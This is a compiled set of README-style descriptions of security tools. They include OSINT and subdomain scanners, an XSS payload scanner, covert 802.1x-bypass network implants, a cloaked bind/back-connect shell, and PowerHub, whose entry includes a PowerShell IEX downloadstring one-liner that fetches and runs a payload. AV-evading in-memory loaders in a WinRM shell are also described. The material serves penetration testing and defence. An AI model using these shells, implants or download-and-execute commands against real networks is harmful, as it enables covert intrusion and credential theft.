Smart OSINT Collection of Common IOC (Indicator of compromise) Types
This application is designed to assist security analysts and researchers with the collection and assessment of common IOC types. Accepted IOCs currently include IP addresses, domain names, URLs, and file hashes.
The title of this project is named after Mimir, a figure in Norse mythology renowned for his knowledge and wisdom. This application aims to provide you knowledge into IOCs and then some added "wisdom" by calculating risk scores per IOC, assigning a common malware family name to hash lookups based off of reports from VirusTotal and OPSWAT, and leveraging machine learning tools to determine if an IP, URL, or domain is likely to be malicious.
Base Collection
For network based IOCs, Mimir gathers basic information including:- Whois
- ASN
- Geolocation
- Reverse DNS
- Passive DNS
- Collection Sources
Some of these sources will require an API key, and occasionally only by getting a paid account and tried to limit reliance on paid services as much as possible.
- PassiveTotal
- VirusTotal
- DomainTools
- OPSWAT
- Google SafeBrowsing
- Shodan
- PulseDive
- CSIRTG
- URLscan
- HpHosts
- Blacklist checks
- Spam blacklist checks
- Risk Scoring
The risk scoring works best when Mimir can gather a decent amount of data points for an IOC; pDNS, well populated url/domain results (communicating samples, associated samples, recent scan data, etc.) and also takes into account the ML malicious-ness prediction result.
Machine Learning Predictions
The machine learning prediction results come from the CSIRT Gadgets projects csirtg-domainsml-py, csirtg-ipsml-py, csirtg-urlsml-py.Output
Mimir offers results output in various options including local file reports or exporting the results to an external service.stdout (console output)
normalizes result data, printed with headers and subheaders per module
JSON file
beautified output to local file
Excel
uses multiple sheets per IOC type

XRay is a software for recon, mapping and OSINT gathering from public networks.
XRay for network OSINT gathering, its goal is to make some of the initial tasks of information gathering and network mapping automatic.
How Does it Work?
XRay is a very simple tool, it works this way:- It'll bruteforce subdomains using a wordlist and DNS requests.
- For every subdomain/ip found, it'll use Shodan to gather open ports and other intel.
- If a ViewDNS API key is provided, for every subdomain historical data will be collected.
- For every unique IP address, and for every open port, it'll launch specific banner grabbers and info collectors.
- Eventually the data is presented to the user on the web ui.
Grabbers and Collectors
- HTTP Server, X-Powered-By and Location headers.
- HTTP and HTTPS robots.txt disallowed entries.
- HTTPS certificates chain ( with recursive subdomain grabbing from CN and Alt Names ).
- HTML title tag.
- DNS version.bind. and hostname.bind. records.
- MySQL, SMTP, FTP, SSH, POP and IRC banners.
Notes
Shodan API KeyThe shodan.io API key parameter ( -shodan-key KEY ) is optional, however if not specified, no service fingerprinting will be performed and a lot less information will be shown (basically it just gonna be DNS subdomain enumeration).
ViewDNS API Key
If a ViewDNS API key parameter ( -viewdns-key KEY ) is passed, domain historical data will also be retrieved.
Anonymity and Legal Issues
The software will rely on your main DNS resolver in order to enumerate subdomains, also, several connections might be directly established from your host to the computers of the network you're scanning in order to grab banners from open ports. Technically, you're just connecting to public addresses with open ports (and there's no port scanning involved, as such information is grabbed indirectly using Shodan API), but you know, someone might not like such behaviour.
Building a Docker image
To build a Docker image with the latest version of XRay:git clone https://github.com/evilsocket/xray.git
cd xray
docker build -t xraydocker .
Once built, XRay can be started within a Docker container using the following:
docker run --rm -it -p 8080:8080 xraydocker xray -address 0.0.0.0 -shodan-key shodan_key_here -domain example.com
Manual Compilation
Make sure you are using Go >= 1.7, that your installation is working properly, that you have set the $GOPATH variable and you have appended $GOPATH/bin to your $PATH.Then:
go get github.com/evilsocket/xray
cd $GOPATH/src/github.com/evilsocket/xray/
make
You'll find the executable in the build folder.
Usage
Usage: xray -shodan-key YOUR_SHODAN_API_KEY -domain TARGET_DOMAINOptions:
-address string
IP address to bind the web ui server to. (default "127.0.0.1")
-consumers int
Number of concurrent consumers to use for subdomain enumeration. (default 16)
-domain string
Base domain to start enumeration from.
-port int
TCP port to bind the web ui server to. (default 8080)
-preserve-domain
Do not remove subdomain from the provided domain name.
-session string
Session file name. (default "<domain-name>-xray-session.json")
-shodan-key string
Shodan API key.
-viewdns-key string
ViewDNS API key.
-wordlist string
Wordlist file to use for enumeration. (default "wordlists/default.lst")

Traxss is an automated framework to scan URLs and webpages for XSS Vulnerabilities. It includes over 575 Payloads to test with and multiple options for robustness of tests.
Getting Started
PrerequisitesTraxss depends on Chromedriver. On MacOS this can be installed with the homebrew command:
brew install cask chromedriver
Alternatively, find a version for other operating systems here: https://sites.google.com/a/chromium.org/chromedriver/downloads
Installation
Run the command:pip3 install -r requirements.txt
Running Traxss
Traxx can be started with the command:
python3 traxss.py
This will launch an interactive CLI to guide you through the process.
Types of Scans
Full Scan with HTMLUses a query scan with 575+ payloads and attempts to find XSS vulnerabilities by passing parameters through the URL. It will also render the HTML and attempt to find manual XSS Vulnerablities (this feature is still in beta).
Full Scan w/o HTML
This scan will run the query scan only.Fast Scan w/o HTML
This scan is the same as the full w/ HTML but it will only use 7 attack vectors rather than the 575+ vectors.Fast Scan w/o HTML

Dolos Cloak- Automated 802.1x Bypass
Dolos Cloak is a python script designed to help network penetration testers and red teamers bypass 802.1x solutions by using an advanced man-in-the-middle attack.
The script is able to piggyback on the wired connection of a victim device that is already allowed on the target network without kicking the victim device off the network. It was designed to run on an Odroid C2 running Kali ARM and requires two external USB ethernet dongles. It should be possible to run the script on other hardware and distros but it has only been tested on an Odroid C2 thus far.
How it Works
Dolos Cloak uses iptables, arptables, and ebtables NAT rules in order to spoof the MAC and IP addresses of a trusted network device and blend in with regular network traffic. On boot, the script disallows any outbound network traffic from leaving the Odroid in order to hide the MAC addresses of its network interfaces.Next, the script creates a bridge interface and adds the two external USB ethernet dongles to the bridge. All traffic, including any 802.1x authentication steps, is passed on the bridge between these two interfaces.
In this state, the device is acting like a wire tap. Once the Odroid is plugged in between a trusted device (desktop, IP phone, printer, etc.) and the network, the script listens to the packets on the bridge interface in order to determine the MAC address and IP of the victim device.
Once the script determines the MAC address and IP of the victim device, it configures NAT rules in order to make all traffic on the OUTPUT and POSTROUTING chains look like it is coming from the victim device. At this point, the device is able to communicate with the network without being burned.
Once the Odroid is spoofing the MAC address and IP of the victim device, the script sends out a DHCP request in order to determine its default gateway, search domain, and name servers. It uses the response in order to configure its network settings so that the device can communicate with the rest of the network.
At this point, the Odroid is acting as a stealthy foothold on the network. Operators can connect to the Odroid over the built-in NIC eth0 in order to obtain network access. The device can also be configured to send out a reverse shell so that operators can utilize the device as a drop box and run commands on the network remotely.
For example, the script can be configured to run an Empire python stager after running the man-in-the-middle attack. You can then use the Empire C2 connection to upgrade to a TCP reverse shell or VPN tunnel.
Installation and Usage
- Perform default install of Kali ARM on Odroid C2.
- Be sure to save this project to /root/tools/dolos_cloak
- Plug one external USB NIC into the Odroid and run dhclient to get internet access in order to install dependencies:
- Run the install script to get all the dependencies and set the Odroid to perform the MitM on boot by default. Keep in mind that this will make drastic changes to the device's network settings and disable Network Manager. You may want to download any additional tools before this step:
./setup.sh
- You may want to install some other tools like 'host' that do not come standard on Kali ARM. Empire, enum4linux, and responder are also nice additions.
- Make sure you are able to ssh into the Odroid via the built-in NIC eth0. Add your public key to /root/.ssh/authorized_keys for fast access.
- Modify config.yaml to meet your needs. You should make sure the interfaces match the default names that your Odroid is giving your USB dongles. Order does not matter here. You should leave client_ip, client_mac, gateway_ip, and gateway_mac blank unless you used a LAN tap to mine them. The script should be able to figure this out for us. Set these options only if you know for sure their values. The management_int, domain_name, and dns_server options are placeholders for now but will be usefull very soon. For shells, you can set up a custom autorun command in the config.yaml to run when the man-in-middle attack has autoconfigured. You can also set up a cron job to send back shells.
- Connect two usb ethernet dongles and reboot the device (you need two because the built-in ethernet won't support promiscuous mode)
- Boot the device and wait a few seconds for autosniff.py to block the OUTPUT ethernet and IP chains. Then plug in the Odroid between a trusted device and the network.
- PWN N00BZ, get $$$, have fun, hack the planet
Tips
- Mod and run ./scripts/upgrade_to_vpn.sh to turn a stealthy Empire agent into a full blown VPN tunnel
- Mod and run ./scripts/reverse_listener_setup.sh to set up a port for a reverse listener on the device.
- Run ./scripts/responder_setup.sh to allow control of the protocols that we capture for responder. You shoud run responder on the bridge interface:
- Be careful as some NAC solutions use port 445, 443, and 80 to periodically verify hosts. Working on a solution to this.
- Logs help when the autosniff.py misbehaves. The rc.local is set to store the current session logs in ./logs/session.log and logs in ./logs/history.log so we can reboot and still check the last session's log if need be. Log files have cool stuff in them like network info, error messages, and all bash commands to set up the NAT ninja magic.

PostShell - Post Exploitation Bind/Backconnect Shell
PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control.
The stub size is around 14kb and can be compiled on any Unix like system. Banner and interaction with shell after a connection is started.
Why not use a traditional Backconnect/Bind Shell?
PostShell allows for easier post-exploitation by making the attacker less dependant on dependencies such as Python and Perl.It also incorporates both a back connect and bind shell, meaning that if a target doesn't allow outgoing connections an operator can simply start a bind shell and connect to the machine remotely.
PostShell is also significantly less suspicious than a traditional shell due to the fact both the name of the processes and arguments are cloaked.
Features
- Anti-Debugging, if ptrace is detected as being attached to the shell it will exit.
- Process Name/Thread names are cloaked, a fake name overwrites all of the system arguments and file name to make it seem like a legitimate program.
- TTY, a TTY is created which essentially allows for the same usage of the machine as if you were connected via SSH.
- Bind/Backconnect shell, both a bind shell and back connect can be created.
- Small Stub Size, a very small stub(<14kb) is usually generated.
- Automatically Daemonizes
- Tries to set GUID/UID to 0 (root)
Getting Started
- Downloading: git clone https://github.com/rek7/postshell
- Compiling: cd postshell && sh compile.sh This should create a binary called "stub" this is the malware.
Commands
$ ./stubBind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port

FinDomain- Fastest And Cross-platform Subdomain Enumerator.
Comparison
It comparison gives you a idea why you should use findomain instead of another enumerators. The domain used for the test was Microsoft.com in the following BlackArch virtual machine:
Host: KVM/QEMU (Standard PC (i440FX + PIIX, 1996) pc-i440fx-3.1)
Kernel: 5.2.6-arch1-1-ARCH
CPU: Intel (Skylake, IBRS) (4) @ 2.904GHz
Memory: 139MiB / 3943MiB
Find-Domain used to calculate the time, is the time command in Linux.
You can see all the details of the tests in it link.
I can't wait to the amass test for finish, looks like it will never ends and additionally the resources usage is very high.
Note: The benchmark was made the 10/08/2019, since it point other software's can improve things and you will got different results.
Features
- Discover sub-domains without brute-force, it uses Certificate Transparency Logs.
- Discover sub-domains with or without IP address according to user arguments.
- Read target from user argument (-t).
- Read a list of targets from file and discover their sub-domains with or without IP and also write to output files per-domain if specified by the user, recursively.
- Write output to TXT file.
- Write output to CSV file.
- Write output to JSON file.
- Cross platform support: Any platform.
- Optional multiple API support.
- Proxy support.
Note: the proxy support is just to proxify APIs requests, the actual implementation to discover IP address of sub-domains doesn't support proxyfing and it's made using the host network still if you use the -p option.
How it works?
It tool doesn't use the common methods for sub(domains) discover, the tool uses Certificate Transparency logs to find sub-domains and it method make it tool the most faster and reliable. The tool make use of multiple public available APIs to perform the search. If you want to know more about Certificate Transparency logs, read https://www.certificate-transparency.org/APIs that are using at the moment:
- Certspotter: https://api.certspotter.com/
- Crt.sh : https://crt.sh

Burp Scope Monitor Extension
A Burp Suite Extension to monitor and keep track of tested endpoints.
Main Features
- Simple, easy way to keep track of unique endpoints when testing an application
- Mark individual endpoints as analyzed or not
- Instantly understand when a new endpoint, not tested is requested
- Accessible from Proxy tab (right click, mark request as analyzed/not)
- Send to Repeater
- Enforcement of Burp's in scope rules
- Import/Export state file directly to a CSV file for
- Autosave option
Installation
- Make sure you have Jython configured under Extender -> Options -> Python Environment. For further instructions, check PortSwigger official instructions at their support page.
- git clone git@github.com:Regala/burp-scope-monitor.git
- Import main.py in Extender - Extender -> Extensions -> Add -> Select Python -> Select main.py
Documentation
Most of the options available in General or Import tabs are auto-explanatory.- "Repeater request automatically marks as analyzed" - when issuing a request to an endpoint from repeater, it marks this request as analyzed automatically.
- "Color request in Proxy tab" - this essentially applies the behavior of the extension in the Proxy tab, if you combine these options with "Show only highlighted items" in Proxy. However, it's not as pleasant to the eyes as the color pallete is limited.
- "Autosave periodically" - backups the state file every 10 minutes. When activating this option, consider disabling "Autostart Scope Monitor". This is in order to maintain a different state file per Burp project. However, you can easily maintain only one, master state file.
- "Import/Export" is dedicated to handle the saved state files. It's preferred to open your Burp project file associated with the Scope Monitor. It will still work if the Burp project is different, but when loading the saved entries, you won't be able to send them to Repeater or view the request itself in the Request/Response viewer (this is due to the fact that we are not storing the actually requests - just the endpoint, it's analyzed status and a couple of other more. This makes it a little bit more efficient).
Future Development
- Keep track of parameters observed in all requests
- Highlight when a new parameter was used in an already observed/analyzed endpoint
- Export to spreadsheet / Google Sheets
- Adding notes to the endpoint
Implementation
The code is not yet performant, optimized or anything similar. KISS and it works. Performance will be increased depending on demand and how the extension performs when handling large Burp projects.To circumvent some of Burp's Extender API limitations, some small hacks were implemented. One of those is automatically setting a comment on the requests that flow in the Proxy tab.
You can still add comments on the items, as you'd normally would, but just make sure to keep the placeholder string (scope-monitor-placeholder) there.
Hopefully in the future each requestResponse from Burp will have a unique identifier, which would make the import state / load from file much cleaner and fast. With large state files, this might hang a bit when loading.

Slurp- Blackbox/Whitebox S3 Bucket Enumerator
To Evaluate the security of S3 buckets
Overview
- Credit to all the vendor packages to develop Slurp possible.
- Slurp is for pen-testers and security professionals to perform audits of s3 buckets.
Features
- Scan via domain(s); you can target a single domain or a list of domains
- Scan via keyword(s); you can target a single keyword or a list of keywords
- Scan via AWS credentials; you can target your own AWS account to see which buckets have been exposed
- Colorized output for visual grep
- Currently generates over 28,000 permutations per domain and keyword (thanks to @jakewarren and @random-robbie)
- Punycode support for internationalized domains
- Strong copyleft license (GPLv3)
Modes
There are two modes that this tool operates at; blackbox and whitebox mode. Whitebox mode (or internal) is significantly faster than blackbox (external) mode.Blackbox (external)
In this mode, you are using the permutations list to conduct scans. It will return false positives and there is no way to link the buckets to an actual aws account! Do not open issues asking how to do this.Domain
Keywords
Whitebox (internal)
In this mode, you are using the AWS API with credentials on a specific account that you own to see what is open. This method pulls all S3 buckets and checks Policy/ACL permissions. Note that, I will not provide support on how to use the AWS API.Your credentials should be in ~/.aws/credentials.
Internal
Usage
- slurp domain <-t|--target> example.com will enumerate the S3 domains for a specific target.
- slurp keyword <-t|--target> linux,golang,python will enumerate S3 buckets based on those 3 key words.
- slurp internal performs an internal scan using the AWS API.
Installation
This project uses vgo; you can clone and go build or download from Releases section.Please do not open issues on why you cannot build the project; this project builds like any other project would in Go, if you cannot build then I strongly suggest you read the go spec.
Also, the only binaries I'm including are linux/amd64; if you want mac/windows binaries, build it yourself.

PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection
PowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection.
During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc.
PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.
Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.
On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action.
Here is a simple example (grab information about local groups with PowerView and transfer it back):
PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8000/0');

Installation
PowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment:Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment.
Python2 is not supported.
Usage
PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication.The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Phantom Tap (PhanTap) - An ‘Invisible’ Network Tap Aimed at Red Teams.
With limited physical access to a target building, this tap can be installed inline between a network device and the corporate network.
PhanTap is silent in the network and does not affect the victim’s traffic, even in networks having NAC (Network Access Control 802.1X - 2004). PhanTap will analyze traffic on the network and mask its traffic as the victim device.
It can mount a tunnel back to a remote server, giving the user a foothold in the network for further analysis and pivoting. PhanTap is an OpenWrt package and should be compatible with any device. The physical device used for our testing is currently a small, inexpensive router, the GL.iNet GL-AR150.
Features:
- Transparent network bridge.
- Silent : No ARP, multicast, broadcast.
- 802.1x passthrough.
- Automatic configuration:
SNAT bridge traffic to the victim MAC and IP address,
set the router default gateway to the MAC of the gateway detected just before.
- Introspects ARP, multicast and broadcast traffic and adds a route to the machine IP address and adds the machine MAC address to the neighbor list, hence giving the possibility of talking to all the machines in the local network.
- Learns the DNS server from traffic and modifies the one on the router so that it's the same.
- Can run commands (ex: /etc/init.d/openvpn restart) when a new IP or DNS is configured.
- Lets you choose any VPN software, for example OpenVPN tcp port 443 so it goes through most firewalls.
- You can talk to the victim machine (using the gateway IP).
Setup
PhanTap has been tested with the GL.iNet GL-AR150. This device has two separate network interfaces in OpenWrt (eth0, eth1).If your device is using an internal switch (swconfig based) with interfaces like eth0.1, eth0.2, some special traffic might be blocked, e.g. 802.1Q (tagged vlan), but PhanTap should work.
- Install a snapshot build, for the GL.iNet GL-AR150
- Update the OpenWrt package list
- Install PhanTap package:
- Configure the Wifi and start administering the router through it.
- Either reboot the device, or run /etc/init.d/phantap setup.
- Get the interface names from that device:
network.loopback.ifname='lo'
network.lan.ifname='eth1'
network.wan.ifname='eth0'
network.wan6.ifname='eth0'
In this example we are using a GL-AR150, which only has 2 interfaces.
Add the interfaces to the phantap bridge via the following commands in the cli (assuming we are using a GL-AR150):
- uci delete network.lan.ifname
- uci delete network.wan.ifname
- uci delete network.wan6.ifname
- uci set network.phantap.ifname='eth0 eth1'
- uci commit network
- /etc/init.d/network reload
Phantap is now configured, as soon as you plug it between a victim and their switch, it will automatically configure the router and give it Internet access.
You can add your favorite VPN to have a remote connection back. Tested PhanTap with Vpn, port TCP 443, to avoid some detection methods.
You can also add a command to be ran when a new IP or DNS is configured, in /etc/config/phantap, e.g. /etc/init.d/openvpn restart (restart VPN service).
You can also look at disabling the wifi by default and using hardware buttons to start it (https://openwrt.org/docs/guide-user/hardware/hardware.button).
Limitations or how it can be detected :
- The GL.iNet GL-AR150 and most inexpensive devices only support 100Mbps, meanwhile modern network traffic will be 1Gbps.
- The network port will stay up, switch side, when the victim device is disconnected/shutdown.
- There is no re-configuration of PhanTap, so we might use an IP that has been reattributed to another device (roadmap DHCP).
- Some traffic is blocked by the Linux bridge (STP/Pause frames/LACP).
Roadmap :
- Add logic to restart the detection when the links go up/down.
- Add DHCP packet analysis for dynamic reconfiguration.
- Add IPv6 support.
- Test limitations of devices that have switches(swconfig) instead of separate interfaces.

CloudCheck- To Test String If A Cloudflare DNS Bypass is Possible
Cloudcheck is made to be used in the same folder as CloudFail. Make sure all files in this repo are in the same folder before using.
CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by Cloudflare in the hopes of discovering the location of the server.
Using Tor to mask all requests, the tool as of right now has 3 different attack phases.
- Misconfigured DNS scan using DNSDumpster.com.
- Scan the Crimeflare.com database.
- Bruteforce scan over 2500 subdomains.
Cloudcheck create a empty text file called none.txt in the data folder, that way it doesn't do a subdomain brute when testing.
Cloudcheck will automatically change your hosts file, using entries from CloudFail and test for a specified string to detect if said entry can be used to bypass Cloudflare.
If output comes out to be "True", you can use the IP address to bypass Cloudflare in your hosts file. (Later automating this process)

This shell is the ultimate WinRM shell for hacking/pentesting.
WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol.
A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system adminsitrators.
This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase.
The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.
Features
- Command History
- WinRM command completion
- Local files completion
- Upload and download files
- List remote machine services
- FullLanguage Powershell language mode
- Load Powershell scripts
- Load in memory dll files bypassing some AVs
- Load in memory C# (C Sharp) compiled exe files bypassing some AVs
- Colorization on output messages (can be disabled optionally)

- usage: upload local_path remote_path
- download: it is not needed to set local_path if the remote file is in the current directory.
- usage: download remote_path local_path
- services: list all services. No administrator permissions needed.
- menu: load the Invoke-Binary and l04d3r-LoadDll functions that we will explain below. When a ps1 is loaded all its functions will be shown up.
Load powershell scripts
To load a ps1 file you just have to type the name (auto-completion usnig tab allowed). The scripts must be in the path set at -s argument. Type menu again and see the loaded functions.
Advanced commands
Invoke-Binary: allows exes compiled from c# to be executed in memory. The name can be auto-completed using tab key and allows up to 3 parameters. The executables must be in the path set at -e argument.
l04d3r-LoadDll: allows loading dll libraries in memory, it is equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.
Extra features
To disable colors just modify on code this variable $colors_enabled. Set it to false: $colors_enabled = false

Simple command line forensics tool for tracking USB device artifacts (history of USB events) on GNU/Linux.
usbrip (derived from "USB Ripper", not "USB R.I.P." astonished) is an open source forensics tool with CLI interface that lets you keep track of USB device artifacts (aka USB event history, "Connected" and "Disconnected" events) on Linux machines.
usbrip is a small piece of software written in pure Python 3 (using some external modules though, see Dependencies/PIP) which parses Linux log files (/var/log/syslog* or /var/log/messages* depending on the distro) for constructing USB event history tables. Such tables may contain the following columns: "Connected" (date & time), "User", "VID" (vendor ID), "PID" (product ID), "Product", "Manufacturer", "Serial Number", "Port" and "Disconnected" (date & time).
Besides, it also can:
- export gathered information as a JSON dump (and open such dumps, of course);
- generate a list of authorized (trusted) USB devices as a JSON (call it auth.json);
- search for "violation events" based on the auth.json: show (or generate another JSON with) USB devices that do appear in history and do NOT appear in the auth.json;
- When installed with -s flag create crypted storages (7zip archives) to automatically backup and accumulate USB events with the help of crontab scheduler;
- search additional details about a specific USB device based on its VID and/or PID.
Quick Start
usbrip is available for download and installation at PyPI:$ pip3 install usbrip
Git Clone
For simplicity, lets agree that all the commands where ~/usbrip$ prefix is appeared are executed in the ~/usbrip directory which is created as a result of git clone:~$ git clone https://github.com/snovvcrash/usbrip.git usbrip && cd usbrip
~/usbrip$
Dependencies
usbrip works with non-modified structure of system log files only, so, unfortunately, it won't be able to parse USB history if you change the format of syslogs (with syslog-ng or rsyslog, for example). That's why the timestamps of "Connected" and "Disconnected" fields don't have the year, by the way. Keep that in mind.DEB Packages
- python3.6 (or newer) interpreter
- python3-venv
- p7zip-full (used by storages module)
- ~$ sudo apt install -y python3-venv p7zip-full
PIP Packages
usbrip makes use of the following external modules:- terminaltables
- termcolor
To resolve Python dependencies manually (it's not necessary actually because pip or setup.py can automate the process, see Installation) create a virtual environment (optional) and run pip from within:
~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install -r requirements.txt
Or let the pipenv one-liner do all the dirty work for you:
~/usbrip$ pipenv install && pipenv shell
After that you can run usbrip portably:
(venv) ~/usbrip$ python -m usbrip -h
Or
(venv) ~/usbrip$ python __main__.py -h
Installation
There are two ways to install usbrip into the system: pip or setup.py.pip or setup.py
First of all, usbrip is pip installable. This means that after git cloning the repo you can simply fire up the pip installation process and after that run usbrip from anywhere in your terminal like so:
~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install .
(venv) ~/usbrip$ usbrip -h
Or if you want to resolve Python dependencies locally (without bothering PyPI), use setup.py:
~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ python setup.py install
(venv) ~/usbrip$ usbrip -h
alien Note: you'd likely want to run the installation process while the Python virtual environment is active (like it is shown above).
install.sh
Secondly, usbrip can also be installed into the system with the ./installers/install.sh script.When using the ./installers/install.sh some extra features become available:
- the virtual environment is created automatically;
- the storage module becomes available: you can set a crontab job to backup USB events on a schedule (the example of crontab jobs can be found in usbrip/cron/usbrip.cron).
Warning: if you are using the crontab scheduling, you want to configure the cron job with sudo crontab -e in order to force the storage update submodule run as root as well as protect the passwords of the USB event storages. The storage passwords are kept in /var/opt/usbrip/usbrip.ini.
The ./installers/uninstall.sh script removes all the installation artifacts from your system.
To install usbrip use:
~/usbrip$ chmod +x ./installers/install.sh
~/usbrip$ sudo -H ./installers/install.sh [-l/--local] [-s/--storages]
~/usbrip$ cd
~$ usbrip -h
- When -l switch is enabled, Python dependencies are resolved from local .tar packages (./3rdPartyTools/) instead of PyPI.
- When -s switch is enabled, not only the usbrip project is installed, but also the list of trusted USB devices, history and violations storages are created.
Note: when using -s option during installation, make sure that system logs do contain at least one external USB device entry. It is a necessary condition for usbrip to successfully create the list of trusted devices (and as a result, successfully create the violations storage).
After the installation completes, feel free to remove the usbrip folder.
Paths
When installed, the usbrip uses the following paths:- /opt/usbrip/ — project's main directory;
- /var/opt/usbrip/usbrip.ini — usbrip configuration file: keeps passwords for 7zip storages;
- /var/opt/usbrip/storage/ — USB event storages: history.7z and violations.7z (created during the installation process);
- /var/opt/usbrip/log/ — usbrip logs (recommended to log usbrip activity when using crontab, see usbrip/cron/usbrip.cron);
- /var/opt/usbrip/trusted/ — list of trusted USB devices (created during the installation process);
- /usr/local/bin/usbrip — symlink to the /opt/usbrip/venv/bin/usbrip script.
cron
Cron jobs can be set as follows:~/usbrip$ sudo crontab -l > tmpcron && echo "" >> tmpcron
~/usbrip$ cat usbrip/cron/usbrip.cron | tee -a tmpcron
~/usbrip$ sudo crontab tmpcron
~/usbrip$ rm tmpcron
uninstall.sh
To uninstall usbrip use:~/usbrip$ chmod +x ./installers/uninstall.sh
~/usbrip$ sudo ./installers/uninstall.sh [-a/--all]
When -a switch is enabled, not only the usbrip project directory is deleted, but also all the storages and usbrip logs are deleted too.
And don't forget to remove the cron job.

Help
To get a list of module names use:$ usbrip -h
To get a list of submodule names for a specific module use:
$ usbrip <module> -h
To get a list of all switches for a specific submodule use:
$ usbrip <module> <submodule> -h
Examples
Show the event history of all USB devices, supressing banner output, info messages and user interaction (-q, --quiet), represented as a list (-l, --list) with latest 100 entries (-n NUMBER, --number NUMBER):$ usbrip events history -ql -n 100
Show the event history of the external USB devices (-e, --external, which were actually disconnected) represented as a table (-t, --table) containing "Connected", "VID", "PID", "Disconnected" and "Serial Number" columns (-c COLUMN [COLUMN], --column COLUMN [COLUMN]) filtered by date (-d DATE [DATE ...], --date DATE [DATE ...]) with logs taken from the outer files (-f FILE [FILE ...], --file FILE [FILE ...]):
$ usbrip events history -et -c conn vid pid disconn serial -d "Dec 9" "Dec 10" -f /var/log/syslog.1 /var/log/syslog.2.gz
Build the event history of all USB devices and redirect the output to a file for further analysis. When the output stream is NOT terminal stdout (| or > for example) there would be no ANSI escape characters (color) in the output so feel free to use it that way. Also notice that usbrip uses some UNICODE symbols so it would be nice to convert the resulting file to UTF-8 encoding (with encov for example) as well as change newline characters to Windows style for portability (with awk for example):
usbrip history events -t | awk '{ sub("$", "\r"); print }' > usbrip.out && enconv -x UTF8 usbrip.out
Remark: you can always get rid of the escape characters by yourself even if you have already got the output to stdout. To do that just copy the output data to usbrip.out and add one more awk instruction:
awk '{ sub("$", "\r"); gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' usbrip.out && enconv -x UTF8 usbrip.out
Generate a list of trusted USB devices as a JSON-file (trusted/auth.json) with "VID" and "PID" attributes containing the first three devices connected on September 26:
$ usbrip events gen_auth trusted/auth.json -a vid pid -n 3 -d "Sep 26"
Search the event history of the external USB devices for violations based on the list of trusted USB devices (trusted/auth.json) by "PID" attribute, restrict resulting events to those which have "Bob" as a user, "EvilUSBManufacturer" as a manufacturer, "1234567890" as a serial number and represent the output as a table with "Connected", "VID" and "PID" columns:
$ usbrip events violations trusted/auth.json -a pid -et --user Bob --manufact EvilUSBManufacturer --serial 1234567890 -c conn vid pid
Search for details about a specific USB device by its VID (--vid VID) and PID (--pid PID):
$ usbrip ids search --vid 0781 --pid 5580

MemGuard- Secure Software Enclave For Storage of Sensitive Information in Memory
This package attempts to reduce the likelihood of sensitive data being exposed. It supports all major operating systems and is written in pure Go.
Features
- Sensitive data is encrypted and authenticated in memory using xSalsa20 and Poly1305 respectively. The scheme also defends against cold-boot attacks.
- Memory allocation bypasses the language runtime by using system calls to query the kernel for resources directly. This avoids interference from the garbage-collector.
- Buffers that store plaintext data are fortified with guard pages and canary values to detect spurious accesses and overflows.
- Effort is taken to prevent sensitive data from touching the disk. This includes locking memory to prevent swapping and handling core dumps.
- Kernel-level immutability is implemented so that attempted modification of protected regions results in an access violation.
- Multiple endpoints provide session purging and safe termination capabilities as well as signal handling to prevent remnant data being left behind.
- Side-channel attacks are mitigated against by making sure that the copying and comparison of data is done in constant-time.
- Accidental memory leaks are mitigated against by harnessing the garbage-collector to automatically destroy containers that have become unreachable.
Some features were inspired by libsodium, so credits to them.
Full documentation and a complete overview of the API can be found here. Interesting and useful code samples can be found within the examples subpackage.
Installation
$ go get github.com/awnumar/memguardWe strongly encourage you to pin a specific version for a clean and reliable build. This can be accomplished using modules.
Contributing
- Using the package and identifying points of friction.
- Reading the source code and looking for improvements.
- Adding interesting and useful program samples to ./examples.
- Developing Proof-of-Concept attacks and mitigations.
- Improving compatibility with more kernels and architectures.
- Implementing kernel-specific and cpu-specific protections.
- Writing useful security and crypto libraries that utilise memguard.
- Submitting performance improvements or benchmarking code.
Issues are for reporting bugs and for discussion on proposals. Pull requests should be made against master.
Future goals
- Ability to stream data to and from encrypted enclave objects.
- Catch segmentation faults to wipe memory before crashing.
- Evaluate and improve the strategies in place, particularly for Coffer objects.
- Formalise a threat model and evaluate our performance in regards to it.
- Use lessons learned to apply patches upstream to the Go language and runtime.

Python wrapper for tshark, allowing python packet parsing using Wireshark dissectors.
